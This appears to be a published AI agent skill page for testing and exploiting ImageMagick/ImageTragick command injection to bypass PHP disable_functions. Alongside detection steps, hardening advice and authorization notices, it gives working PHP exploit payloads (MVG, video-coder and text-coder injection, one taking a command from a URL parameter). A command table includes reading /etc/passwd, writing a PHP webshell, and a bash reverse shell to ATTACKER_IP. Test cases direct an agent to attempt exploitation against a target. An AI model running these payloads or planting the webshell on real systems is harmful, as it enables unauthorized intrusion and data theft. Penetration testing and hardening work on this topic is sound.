# Imagick Disable Functions Bypass

> Security testing skill for detecting and exploiting ImageMagick/ImageTragick vulnerabilities to bypass PHP disable_functions restrictions. Use this skill whenever the user mentions PHP security testing, disable_functions bypass, ImageMagick vulnerabilities, ImageTragick, CVE-2016-3714, or needs to test for command injection through image processing libraries. Also trigger when users ask about PHP hardening bypass, ImageMagick policy.xml configuration, or security auditing of PHP applications with image upload functionality.

- Skill: `abelrguezr/imagick-disable-functions-bypass` (Agent Skill, multi-file: 5 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/imagick-disable-functions-bypass`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/imagick-disable-functions-bypass/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/imagick-disable-functions-bypass

---


# ImageMagick disable_functions Bypass Testing

A security testing skill for detecting and exploiting ImageMagick/ImageTragick vulnerabilities that allow command execution even when PHP's `disable_functions` is configured.

## Overview

The ImageTragick family of vulnerabilities (CVE-2016-3714 and related) allows attackers to execute arbitrary shell commands through crafted image files when:

- PHP Imagick extension is installed
- ImageMagick backend is vulnerable (typically < 7.1.1-11 or 6.x < 6.9.12-73)
- `disable_functions` is configured but ImageMagick delegates are not hardened

**Important**: This skill is for authorized security testing only. Always have written permission before testing.

## Detection Workflow

### Step 1: Check PHP and Imagick Versions

```bash
# Check PHP version
php -r 'echo phpversion(), "\n";'

# Check Imagick extension and ImageMagick version
php -r 'echo Imagick::getVersion()["versionString"], "\n";'

# Check system ImageMagick version
convert -version | head -1
```

### Step 2: Check Policy Configuration

```bash
# Check which coders are enabled/disabled
convert -list policy | grep -iE 'mvg|https|video|text|url|ps'

# If MVG, URL, VIDEO, or TEXT coders are enabled, the system may be vulnerable
```

### Step 3: Check disable_functions Status

```php
<?php
echo "Disable functions: " . ini_get("disable_functions") . "\n";
echo "Imagick available: " . (extension_loaded('imagick') ? 'Yes' : 'No') . "\n";
?>
```

## Exploitation Techniques

### Classic ImageTragick (CVE-2016-3714)

Works on Imagick <= 3.3.0 with vulnerable ImageMagick:

```php
<?php
// Classic MVG payload
$cmd = $_GET['cmd'] ?? 'id';
$tmp = tempnam('/tmp', 'pwn');
$mvgs = tempnam('/tmp', 'img');

$payload = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/x.jpg"|$cmd >$tmp")'
pop graphic-context
EOF;

file_put_contents($mvgs, $payload);
$img = new Imagick();
$img->readImage($mvgs);
$img->writeImage(tempnam('/tmp', 'img'));
$img->destroy();

echo file_get_contents($tmp);
?>
```

### Modern Video Coder Variant (2023+)

Works on newer ImageMagick versions with video coder enabled:

```php
<?php
$exp = <<<MAGICK
push graphic-context
image over 0,0 0,0 'vid:dummy.mov" -define video:pixel-format="rgba`uname -a > /tmp/pwned`" " dummy'
pop graphic-context
MAGICK;

$img = new Imagick();
$img->readImageBlob($exp);
?>
```

### Text Coder Variant (CVE-2020-29599)

```php
<?php
$payload = 'text:"foo"`id > /tmp/pwned`"';
$img = new Imagick();
$img->readImageBlob($payload);
?>
```

## Common Test Commands

Use these to verify exploitation works:

| Purpose | Command |
|---------|--------|
| Basic verification | `id` |
| System enumeration | `id; uname -a; cat /etc/passwd` |
| File write (webshell) | `echo '<?php system($_GET["c"]);' > /var/www/html/shell.php` |
| Reverse shell | `bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"` |
| Check current user | `whoami; pwd` |

## Mitigation Guidance

### 1. Patch/Upgrade

- ImageMagick >= 7.1.1-11 (or latest 6.x LTS)
- Imagick PHP extension >= 3.7.2

### 2. Harden policy.xml

Edit `/etc/ImageMagick-6/policy.xml` or `/etc/ImageMagick-7/policy.xml`:

```xml
<policy domain="coder" rights="none" pattern="MVG"/>
<policy domain="coder" rights="none" pattern="MSL"/>
<policy domain="coder" rights="none" pattern="URL"/>
<policy domain="coder" rights="none" pattern="VIDEO"/>
<policy domain="coder" rights="none" pattern="PS"/>
<policy domain="coder" rights="none" pattern="TEXT"/>
```

### 3. Remove Imagick Extension

If image processing is not required, remove the extension:

```bash
# Debian/Ubuntu
sudo apt-get remove php-imagick

# RHEL/CentOS
sudo yum remove php-imagick
```

### 4. Defense in Depth

Never rely solely on `disable_functions`. Use:
- Proper input validation
- File upload restrictions
- Chroot jails or containers
- SELinux/AppArmor policies

## Test Cases

### Test Case 1: Basic Detection

**Prompt**: "Check if this PHP server is vulnerable to ImageMagick command injection"

**Expected**: Run detection workflow, check versions and policy configuration

### Test Case 2: Exploitation Test

**Prompt**: "Test if disable_functions can be bypassed through ImageMagick on this target"

**Expected**: Attempt exploitation with safe test commands like `id` or `whoami`

### Test Case 3: Mitigation Review

**Prompt**: "How do I harden ImageMagick against command injection attacks?"

**Expected**: Provide policy.xml configuration and upgrade guidance

## References

- [CVE-2016-3714 - ImageTragick](https://nvd.nist.gov/vuln/detail/CVE-2016-3714)
- [CVE-2020-29599 - Text coder injection](https://nvd.nist.gov/vuln/detail/CVE-2020-29599)
- [ImageMagick Issue #6338 - Video coder injection (2023)](https://github.com/ImageMagick/ImageMagick/issues/6338)
- [Original PoC - Chaitin Security Research Lab](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)

## Security Notice

**This skill is for authorized security testing only.**

- Always obtain written permission before testing
- Use only on systems you own or have explicit authorization to test
- Document all findings for the system owner
- Follow responsible disclosure practices